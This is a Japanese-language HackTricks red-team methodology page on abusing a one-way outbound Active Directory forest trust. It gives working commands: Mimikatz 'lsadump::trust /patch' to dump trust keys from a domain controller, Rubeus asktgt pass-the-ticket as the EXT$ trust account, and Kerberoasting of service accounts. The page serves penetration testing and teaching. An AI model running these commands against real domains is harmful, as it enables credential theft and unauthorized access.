hacktricks/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md

7.9 KiB
Raw Blame History

External Forest Domain - One-Way (Outbound)

ゼロからヒーローまでAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

HackTricks をサポートする他の方法:

このシナリオでは、あなたのドメイン異なるドメインからのプリンシパルに一部の特権委任しています。

列挙

アウトバウンドトラスト

# Notice Outbound trust
Get-DomainTrust
SourceName      : root.local
TargetName      : ext.local
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection  : Outbound
WhenCreated     : 2/19/2021 10:15:24 PM
WhenChanged     : 2/19/2021 10:15:24 PM

# Lets find the current domain group giving permissions to the external domain
Get-DomainForeignGroupMember
GroupDomain             : root.local
GroupName               : External Users
GroupDistinguishedName  : CN=External Users,CN=Users,DC=DOMAIN,DC=LOCAL
MemberDomain            : root.io
MemberName              : S-1-5-21-1028541967-2937615241-1935644758-1115
MemberDistinguishedName : CN=S-1-5-21-1028541967-2937615241-1935644758-1115,CN=ForeignSecurityPrincipals,DC=DOMAIN,DC=LOCAL
## Note how the members aren't from the current domain (ConvertFrom-SID won't work)

信頼アカウント攻撃

ドメイン A とドメイン B として識別される2つのドメイン間に信頼関係が確立されると、セキュリティ上の脆弱性が存在します。このセットアップでは、ドメイン B がドメイン A に対して信頼を拡張します。ここで、ドメイン B に関連付けられた特別なアカウントがドメイン A に作成され、両方のドメイン間での認証プロセスで重要な役割を果たします。この特別なアカウントは、両ドメイン間のサービスへのアクセスのためにチケットを暗号化するために使用されます。

ここで理解する重要な点は、この特別なアカウントのパスワードとハッシュを、ドメイン A のドメインコントローラからコマンドラインツールを使用して抽出できるということです。このアクションを実行するためのコマンドは次のとおりです:

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local

この抽出は、そのアカウントが名前の後に $ が付いて識別され、ドメイン A の "Domain Users" グループに属しているため、このグループに関連付けられた権限を継承しているため可能です。これにより、個人はこのアカウントの資格情報を使用してドメイン A に対して認証できます。

警告: この状況を利用して、ユーザーとしてドメイン A に足場を築くことは可能ですが、権限は限られています。ただし、このアクセス権限はドメイン A で列挙を実行するのに十分です。

信頼するドメインが ext.local であり、信頼されるドメインが root.local であるシナリオでは、root.local 内に EXT$ というユーザーアカウントが作成されます。特定のツールを使用することで、Kerberos 信頼キーをダンプし、root.localEXT$ の資格情報を明らかにすることが可能です。これを達成するためのコマンドは次のとおりです:

lsadump::trust /patch

以下では、別のツールコマンドを使用して、root.local内のroot.local\EXT$として認証するために抽出されたRC4キーを使用できます

.\Rubeus.exe asktgt /user:EXT$ /domain:root.local /rc4:<RC4> /dc:dc.root.local /ptt

この認証ステップは、root.local内のサービスを列挙したり、Kerberoast攻撃を実行してサービスアカウントの資格情報を抽出する可能性を開く。

.\Rubeus.exe kerberoast /user:svc_sql /domain:root.local /dc:dc.root.local

クリアテキスト信頼パスワードの収集

前のフローでは、クリアテキストパスワード(また、mimikatzによってダンプされた)の代わりに信頼ハッシュが使用されました。

クリアテキストパスワードは、mimikatzからの[ CLEAR ]出力を16進数に変換し、ヌルバイト '\x00' を削除することで取得できます:

信頼関係を作成する際、ユーザーが信頼のためにパスワードを入力する必要がある場合があります。このデモンストレーションでは、キーは元の信頼パスワードであり、したがって人間が読めるものです。キーがサイクルする30日間、クリアテキストは人間が読めなくなりますが、技術的にはまだ使用可能です。

クリアテキストパスワードは、信頼アカウントのKerberosシークレットキーを使用してTGTを要求する代わりに、信頼アカウントとして通常の認証を実行するために使用できます。ここでは、ext.localからroot.localにDomain Adminsのメンバーを問い合わせています

参考文献

htARTEHackTricks AWS Red Team Expert AWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法